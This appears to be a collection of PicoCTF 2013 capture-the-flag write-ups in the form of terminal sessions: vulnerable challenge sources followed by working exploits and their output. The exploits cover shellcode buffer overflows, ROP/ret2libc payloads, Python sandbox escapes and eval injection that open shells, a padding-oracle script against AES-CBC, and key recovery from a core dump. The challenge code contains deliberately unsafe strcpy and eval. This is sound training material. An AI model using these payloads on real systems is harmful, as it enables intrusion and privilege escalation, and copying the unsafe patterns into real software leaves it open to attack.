# PicoCTF 2k13 - Overflow 4


$ cat buffer_overflow_shellcode.c 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}
$ cat shellcode-ascii
\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80
$ ./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`
Stack dump:
0xffffd5f0: 0xffffd700 (first argument)
0xffffd5ec: 0xffffd5a0 (saved eip)
0xffffd5e8: 0x90909090 (saved ebp)
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x909080cd
0xffffd5bc: 0x0bb0e189
0xffffd5b8: 0x535650e6
0xffffd5b4: 0x89696970
0xffffd5b0: 0x2d6850e3
0xffffd5ac: 0x896e6962
0xffffd5a8: 0x2f686873
0xffffd5a4: 0x2f2f6850
0xffffd5a0: 0xe9f7c031 (beginning of buffer)
sh-4.2$ cat key
with_great_shellcode_comes_great_responsibility

# PicoCTF 2k13 - ROP 3


$ cat /problems/ROP_3_7f3312fe43c46d26/rop3.c 
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()  {
 char buf[128];
 read(STDIN_FILENO, buf,256);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
 vulnerable_function();
 write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ export | grep SHELL
export SHELL="/bin/sh"
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
SHELL will be at 0xffffd881
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e5bf30 <exit>
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
rop_rop_rop_all_the_way_home

# PicoCTF 2k13 - Python Eval 5


# cat task5.py 
#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
  try:
    d = {'x':None}
    exec 'x='+_raw_input()[:50] in d
    print 'Return Value:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e
# nc python.picoctf.com 6365
Get a shell, if you can...
().__class__.__base__.__subclasses__()[53]
Return Value: <class 'warnings.catch_warnings'>
__builtins__
Return Value: {}
# ipython
In [1]: for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":
   ...:     print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'
   ...:
# nc python.picoctf.com 6365
Get a shell, if you can...
__builtins__['x'] = ''
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "5"
__builtins__['x'] = __builtins__['x'] + "3"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "f"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "g"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "d"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "y"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "m"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + ")"
None; exec __builtins__['x']
ls -lh
total 12K
-rw-r----- 1 root py5  26 Apr 26  2013 flag_for_masters
-rwxr-x--- 1 root py5  59 Apr 27  2013 run.sh
-rwxr-x--- 1 root py5 501 Apr 26  2013 task5.py
cat flag_for_masters
you_are_the_pyeval_master

# PicoCTF 2k13 - Python Eval 4


# cat task4.py 
#!/usr/bin/python -u
# task4.py
from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler
from SocketServer import ForkingMixIn
from cgi import escape
from os import path
from sys import stdin,stdout
import traceback

# Make a simple HTML page from the given content
def makepage(title, content, headers=""):
 return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>%s</title>
%s
</head>
<body>
%s
</body>
</html>
""" % (escape(title), headers, content)

# from urlparse import urlparse, parse_qs
# uri = urlparse(self.path.lstrip('/'))
# filepath = os.path.normpath(uri.path)
# query = parse_qs(uri.query)

# Some URL parsing helper functions
def getPathFromURL(url):
 temp = url.split('/', 1)[1] # Split away the domain name
 return temp.split('?', 1)[0] # Return everything before the query.

def getQueryDictFromURL(url):
 query = None
 temp = url.rsplit('?', 1)
 if len(temp) == 1:
  # No query string!
  query = {}
 else:
  temp = temp[1].rsplit('#', 1)[0] # Split away fragment id
  temp = temp.replace('=', '":"').replace('&', '","') # Turn into python dictonary syntax
  query = eval('{"' + temp + '"}')
  
  # Un-percent encode query items
  for k in query:
   temp = query[k].split('%')
   for i in range(1, len(temp)):
    temp[i] = eval('"\\x' + temp[i][:2] + '"') + temp[i][2:]
   query[k] = ''.join(temp)
 
 return query

# The server
class MyHandler(BaseHTTPRequestHandler):
 # Customize error messages a bit; not important
 def send_error(self, code, message=None):
  self.send_response(code)
  self.send_header('Content-Type', self.error_content_type)
  self.end_headers()
  content = "<h1>%d %s</h1>" % (code, self.responses[code][0] if message == None else message)
  self.wfile.write(makepage("Error %d" % code, content))
 
 # This is the main function
 def do_GET(self):
  try:
   
   # Parse the URL
   filepath = getPathFromURL(self.path)
   query = getQueryDictFromURL(self.path)
   
   if not path.exists(filepath):
    # Non-existent file!
    self.send_error(404)
   
   elif filepath in ('index.html', 'stage1.html', 'stage2.html', 'stage3.html', 'stage4.html'):
    self.send_response(200)
    self.send_header('Content-type','text/html')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
   
   elif filepath=='task4.py':
    self.send_response(200)
    self.send_header('Content-type','text/plain')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
    
   else:
    # Now allowed!
    self.send_error(403)
  
  except:
   # Show people the mess they caused!
   self.send_response(500)
   self.send_header('Content-type','text/html')
   self.end_headers()
   from sys import exc_type
   self.wfile.write(makepage("Traceback %s" % str(exc_type), "<pre>%s</pre>" % escape(traceback.format_exc())))

# To make it easier to play around with this, we'll communicate over stdin/stdout
# like the other exercises instead of listening and forking like a real server.
# A program external to this script handles turning it into a network service.

class MyStdioHandler(MyHandler):
  def __init__(self):
    MyHandler.__init__(self, None, 'derp', None)
  def setup(self):
    self.rfile = stdin
    self.wfile = stdout
  def log_message(format, *args):
    pass

MyStdioHandler()

#
# Instead of the above ~10 lines of code, the following turns this
# script into a server on its own.
#
# Serves multiple requests at the same time
# class ForkingHTTPServer(ForkingMixIn, HTTPServer):
#   timeout = 10
#   max_children = 1000
#
# if __name__ == "__main__":
#   server = ForkingHTTPServer(('', 6364), MyHandler)
#   try:
#     print "Server started on port {0.server_port}, press <Ctrl-C> to exit.".format(server)
#     server.serve_forever()
#   except KeyboardInterrupt:
#     pass
#   finally:
#     server.server_close()
#   print "Server closed."
# nc python.picoctf.com 6364
GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"

ls -l
total 56
-rw-r----- 1 root py4   457 Apr 26  2013 index.html
-rwxr-x--- 1 root py4    59 Apr 27  2013 run.sh
-rw-r----- 1 root py4  8191 Apr 26  2013 stage1.html
-rw-r----- 1 root py4  8676 Apr 26  2013 stage2.html
-rw-r----- 1 root py4 15230 Apr 26  2013 stage3.html
-rw-r----- 1 root py4  1282 Apr 26  2013 stage4.html
-rw-r----- 1 root py4    33 Apr 26  2013 super_awesome_flag
-rwxr-x--- 1 root py4  3870 Apr 26  2013 task4.py
cat super_awesome_flag
kids_dont_code_like_this_at_home

# PicoCTF 2k13 - Broken CBC


# cat cbc_server.py
#!/usr/bin/env python
import os
from Crypto.Cipher import AES
import SocketServer
import threading
import time

#actual key and iv go here...
key = "00000000000000000000000000000000".decode("hex")
iv  = "00000000000000000000000000000000".decode("hex")

def pkcs(msg):
  print msg.encode("hex")
  padding_length = ord(msg[-1])
  padding = msg[-padding_length:]
  print padding.encode("hex")
  if (padding != (chr(padding_length)*padding_length)):
    print (chr(padding_length)*padding_length).encode("hex")
    return None
  return msg[:-padding_length]

def decrypt(cipher,enc):
  print enc,((len(enc) % 16) != 0)
  dec = ""
  if ((len(enc) % 16) != 0):
    return (False,"Error: cipher length must be a multiple of 16\n")
  dec = cipher.decrypt(enc)
  msg = pkcs(dec)
  if msg is None:
    return (False,"Error: incorrect padding\n")
  return (True,msg)

def process(cmd):
  # Message is like HERE_IS_COMMAND:cmd
  # eg "HERE_IS_COMMAND:help"
  
  cmd = cmd[16:] #ignore the COMMAND: part, it's all the same anyhow
  
  if (cmd == "help"):
    return "Commands:\n\thelp - this\n\tflag - prints out the flag\n\tnyan - prints out a nyan cat\n"
  if (cmd == "flag"):
    return "key: XXX TRY TO READ ME XXX"
  if (cmd == "nyan"):
    return """
+      o     +              o   
    +             o     +       +
o          +
    o  +           +        +
+        o     o       +        o
-_-_-_-_-_-_-_,------,      o 
_-_-_-_-_-_-_-|   /\_/\  
-_-_-_-_-_-_-~|__( ^ .^)  +     +  
_-_-_-_-_-_-_-""  ""      
+      o         o   +       o
    +         +
o        o         o      o     +
    o           +
+      +     o        o      +    
"""
  return "Invalid command. See help for a list of commands\n"

class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    cur_thread = threading.current_thread()
    welcome = """
Enter your encrypted command:
"""
    self.request.send(welcome)
    while True:
      m = self.request.recv(1024)
      cipher = AES.new(key, AES.MODE_CBC, iv)
      success,cmd = decrypt(cipher,m[:-1]) #discard newline
      if (success):
        self.request.send(process(cmd))
      else:
        self.request.send(cmd)

server = threadedserver(("0.0.0.0", 4567), incoming)
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()
# cat padding_oracle.py 
#!/usr/bin/python

import socket
from Crypto.Cipher import AES

cipher = []
key = []
plain = list('HERE_IS_COMMAND:flag' + ('\x0c' * 12))
count = 0

def oracle_padding(cipher, result = False):
 s = socket.create_connection(('localhost',4567))
 s.recv(1024)
 data = ''
 for i in xrange(0,32):
  data = data + chr(cipher[i])
 #print str(data)
 s.sendall(data+"\n")
 recv = s.recv(1024)
 #print recv
 if "Error" in recv:
  return False
 else:
  if result:
   print
   print recv
  return True

def print_array(a, t, n):
 result = ''
 for i in xrange(0, n):
  result += '%02x' % a[i]
 print t + ' = ' + result

for i in range(32):
 cipher.append(0)
 key.append(0)


for i in range(16):
 for j in range(256):
  count += 1
  cipher[15 - i] = j
  result = oracle_padding(cipher)
  if result:
   key[15 - i] = (i + 1) ^ j
   print '[' + str(i) + ']'
   print_array(cipher, 'c', 16)
   print_array(key, 'k', 16)
   for z in range(i + 1):
    cipher[15 - z] = (i + 2) ^ key[15 - z]
   break

for i in range(16):
 cipher[i] = key[i] ^ ord(plain[16 + i])
print

print_array(cipher, 'solution', 32)
 
oracle_padding(cipher, True)
print 'Tries = ' + str(count)
# ./padding_oracle.py 
[0]
c = 0000000000000000000000000000003b
k = 0000000000000000000000000000003a
[1]
c = 0000000000000000000000000000ee38
k = 0000000000000000000000000000ec3a
[2]
c = 00000000000000000000000000daef39
k = 00000000000000000000000000d9ec3a
[3]
c = 000000000000000000000000fbdde83e
k = 000000000000000000000000ffd9ec3a
[4]
c = 000000000000000000000012fadce93f
k = 000000000000000000000017ffd9ec3a
[5]
c = 000000000000000000007111f9dfea3c
k = 000000000000000000007717ffd9ec3a
[6]
c = 0000000000000000005f7010f8deeb3d
k = 000000000000000000587717ffd9ec3a
[7]
c = 000000000000000071507f1ff7d1e432
k = 000000000000000079587717ffd9ec3a
[8]
c = 000000000000003470517e1ef6d0e533
k = 000000000000003d79587717ffd9ec3a
[9]
c = 000000000000283773527d1df5d3e630
k = 000000000000223d79587717ffd9ec3a
[10]
c = 0000000000be293672537c1cf4d2e731
k = 0000000000b5223d79587717ffd9ec3a
[11]
c = 000000001db92e3175547b1bf3d5e036
k = 0000000011b5223d79587717ffd9ec3a
[12]
c = 0000001d1cb82f3074557a1af2d4e137
k = 0000001011b5223d79587717ffd9ec3a
[13]
c = 0000011e1fbb2c3377567919f1d7e234
k = 00000f1011b5223d79587717ffd9ec3a
[14]
c = 0000001f1eba2d3276577818f0d6e335
k = 000f0f1011b5223d79587717ffd9ec3a
[15]
c = 041f1f0001a5322d69486707efc9fc2a
k = 140f0f1011b5223d79587717ffd9ec3a

solution = 72636e771db92e3175547b1bf3d5e03600000000000000000000000000000000

key: XXX TRY TO READ ME XXX
Tries = 1466

# PicoCTF 2k13 - Overflow 3


$ cat buffer_overflow.c 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run this function.
 */
void shell(void) {
    execl("/bin/sh", "sh", NULL);
}

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    printf("shell function = %p\n", shell);
    vuln(argv[1]);
    return 0;
}
$ objdump -t buffer_overflow | grep shell
080485f8 g     F .text 00000024              shell
$ ./buffer_overflow `python -c 'print "\x90"*76 + "\xf8\x85\x04\x08"'`
shell function = 0x80485f8
Stack dump:
0xffffd610: 0xffffd800 (first argument)
0xffffd60c: 0x080485f8 (saved eip)
0xffffd608: 0x90909090 (saved ebp)
0xffffd604: 0x90909090
0xffffd600: 0x90909090
0xffffd5fc: 0x90909090
0xffffd5f8: 0x90909090
0xffffd5f4: 0x90909090
0xffffd5f0: 0x90909090
0xffffd5ec: 0x90909090
0xffffd5e8: 0x90909090
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x90909090 (beginning of buffer)
sh-4.2$ cat key
controlflow_is_no_match_for_overflow

# PicoCTF 2k13 - Core Decryption


$ mkdir decrypt
$ d decrypt
$ cp /problems/core_decrypt.tar .
$ tar xvf core_decrypt.tar
$ cat cryptor.c
#include <stdio.h>
#include <stdlib.h>

void swap(unsigned char* sbox, int i, int j) {
  unsigned char tmp;
  tmp = sbox[i];
  sbox[i] = sbox[j];
  sbox[j] = tmp;
}

void init_rc4(unsigned char* sbox, char* key, int keylen) {
  int i;
  for (i = 0; i < 256; i++) {
    sbox[i] = i;
  }
  unsigned char j,tmp;
  for (i = 0; i < 256; i++) {
    j = j + sbox[i] + key[i % keylen];
    swap(sbox,i,j);
  }
}

unsigned char next_prg(unsigned char* sbox, int *i, int *j) {
  i[0] = (i[0] + 1)&0xff;
  j[0] = (j[0] + sbox[i[0]])&0xff;
  swap(sbox,i[0],j[0]);
  return sbox[(sbox[i[0]] + sbox[j[0]])&0xff];
}

void crypt(FILE *inf, FILE *keyf, FILE *outf) {
  int uhoh;
  unsigned char sbox[256];
  int i,j;
  i = j = 0;
  char key[16];

  fread(key,1,16,keyf);
  init_rc4(sbox,key,16);

  unsigned char tmp;
  while (fread(&tmp,1,1,inf) > 0) {
    tmp ^= next_prg(sbox,&i,&j);
    fwrite(&tmp,1,1,outf);
  }
}

int usage(char* this) {
  printf("Usage: %s [input file] [outfile] [key file]\n",this);
  return -1;
}

int main(int argc, char** argv) {
  if (argc != 4) {
    return usage(argv[0]);
  }
  FILE *inf = fopen(argv[1],"r");
  FILE *outf = fopen(argv[2],"w");
  FILE *keyf = fopen(argv[3],"r");

  if (!(inf && outf && keyf)) {
    printf("Sorry, could not open all files for reading/writing\n");
    return -1;
  }
  crypt(inf,keyf,outf);
  fclose(inf);
  fclose(outf);
  fclose(keyf);
  return 0;
}
$ file ENCRYPTED
ENCRYPTED: data
$ file core.26474
core.26474: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from '/home/tyler/ppp/picoctf2013/problems/forensics/decryption_core/a.out keyfile.txt'
$ gdb cryptor core.26474
(gdb) info stack
#0  0x08048564 in swap (sbox=0xffffd17c "", i=-11652, j=16) at cryptor.c:7
#1  0x08048719 in crypt (inf=0x0, keyf=0xffffd17c, outf=0xf7ffda5c) at cryptor.c:42
#2  0x08048894 in main (argc=4, argv=0xffffd374) at cryptor.c:67
(gdb) frame 1
#1  0x08048719 in crypt (inf=0x0, keyf=0xffffd17c, outf=0xf7ffda5c) at cryptor.c:42
42     tmp ^= next_prg(sbox,&i,&j);
(gdb) info locals
(gdb) print /x &key
$1 = 0xffffd27c
(gdb) print /x key
$2 = {0xc5, 0xe4, 0x4c, 0x4, 0xbb, 0x2f, 0x5c, 0x10, 0xba, 0x75, 0x1b, 0xc3, 0x97, 0x4c, 0xdc, 0xdc}
$ python -c 'print "\xc5\xe4\x4c\x04\xbb\x2f\x5c\x10\xba\x75\x1b\xc3\x97\x4c\xdc\xdc"' > key
$ ./cryptor ENCRYPTED solution key
$ cat solution 
Well, assuming you're able to actually keep the secret keyfile safe, this is a legitimate way to encrypt files!
Your key is: astronomy_ceremony_times

# PicoCTF 2k13 - ROP 2


$ cat rop2.c 
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char * not_used = "/bin/bash";

int not_called() {
 return system("/bin/date");
}

void vulnerable_function() {
 char buf[128];
 read(STDIN_FILENO, buf, 256);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
 vulnerable_function();
 write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ objdump -t ./rop2 | grep not_
080484a4 g     F .text 00000014              not_called
0804a024 g     O .data 00000004              not_used
$ gdb ./rop2
(gdb) set disassembly-flavor intel
(gdb) x/7i 0x080484a4
   0x80484a4 : push   ebp
   0x80484a5 : mov    ebp,esp
   0x80484a7 : sub    esp,0x18
   0x80484aa : mov    DWORD PTR [esp],0x804861a
   0x80484b1 : call   0x80483a0 
   0x80484b6 : leave  
   0x80484b7 : ret
(gdb) x/xw 0x0804a024
0x804a024 : 0x08048610
$ (python -c 'print "\x90"*140 + "\xb1\x84\x04\x08" + "\x10\x86\x04\x08"'; cat) | ./rop2
cat key
i_could_get_used_to_this_rop_thing

# PicoCTF 2k13 - Black Hole


In [1]: rf = open('masked_key.png', 'r')
In [2]: mk = rf.read()
In [3]: rf.close()
In [4]: key = bytearray(mk[-64:])
In [5]: png = bytearray(mk[:-64])
In [6]: for byte in xrange(len(png)):
   ...:     png[byte] ^= key[byte % 64]
   ...:     
In [7]: wf = open('key.png', 'w')
In [8]: wf.write(png)
In [9]: wf.close()